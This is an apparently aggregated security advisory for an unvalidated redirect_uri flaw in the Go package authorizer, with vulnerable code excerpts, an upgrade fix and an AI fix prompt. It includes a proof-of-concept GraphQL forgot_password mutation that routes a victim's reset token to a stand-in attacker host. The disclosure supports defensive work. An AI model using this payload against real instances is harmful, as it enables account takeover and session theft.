# GHSA-x3f4-v83f-7wp2: Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri

> Attackers can steal password reset and auth tokens by exploiting unvalidated redirect URIs in multiple GraphQL and HTTP endpoints, leading to account takeover.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 6 Apr 2026
- **Also known as:** GO-2026-5737

## What is GHSA-x3f4-v83f-7wp2?

GHSA-x3f4-v83f-7wp2 is a vulnerability in github.com/authorizerdev/authorizer, published on 6 Apr 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

Hi,

I found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

## Affected Endpoints

1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens
2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens
3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens
4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens
5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state
6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)

## Root Cause

Because these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `["https://my-secure-app.com"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.

In `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:

    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
        redirectURI = refs.StringValue(params.RedirectURI)
    }

The reset token is appended to this URL at `internal/utils/common.go:77`:

    func GetForgotPasswordURL(token, redirectURI string) string {
        verificationURL := redirectURI + "?token=" + token
        return verificationURL
    }

Compare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:

    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
        c.JSON(400, gin.H{"error": "invalid redirect url"})
        return
    }

This validation is missing from all 6 endpoints listed above.

## Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:

    params := "access_token=" + authToken.AccessToken.Token +
        "&token_type=bearer&expires_in=" + ... +
        "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce

The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.

## PoC

    mutation {
      forgot_password(params: {
        email: "victim@example.com"
        redirect_uri: "https://attacker.com/steal"
      }) {
        message
      }
    }

The victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker.

## Impact

- Account takeover via stolen password reset tokens
- Full session theft via stolen access_token + id_token + refresh_token
- Passwordless account compromise via stolen magic link tokens
- No authentication required to trigger (the GraphQL mutations are public)
- Victim only needs to click the email link from their trusted Authorizer instance

## Additional Note

The default `AllowedOrigins` at `cmd/root.go:39` is `["*"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef

## Which versions are affected by GHSA-x3f4-v83f-7wp2?

3 open source packages ship an affected version, including github.com/authorizerdev/authorizer.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/authorizerdev/authorizer` | Go | All versions | 0.0.0-20260329085140-6d9bef1aaba3 |
| `github.com/authorizerdev/authorizer` | Go | All versions | 0.0.0-20260329085140-6d9bef1aaba3 |
| `github.com/authorizerdev/authorizer` | Go | All versions | 0.0.0-20260329085140-6d9bef1aaba3 |

## How do I fix GHSA-x3f4-v83f-7wp2?

Upgrade github.com/authorizerdev/authorizer to 0.0.0-20260329085140-6d9bef1aaba3 or later.

## Is GHSA-x3f4-v83f-7wp2 being exploited?

There is no known exploitation of GHSA-x3f4-v83f-7wp2 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-x3f4-v83f-7wp2 and fix it if it is affected.

What it is: GHSA-x3f4-v83f-7wp2 is a vulnerability in github.com/authorizerdev/authorizer, published on 6 Apr 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-x3f4-v83f-7wp2 in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3
- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3
- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/ (Markdown: https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-x3f4-v83f-7wp2

---
From sbomify Insights: https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/
Summaries are generated and may contain mistakes; the official description above is the record.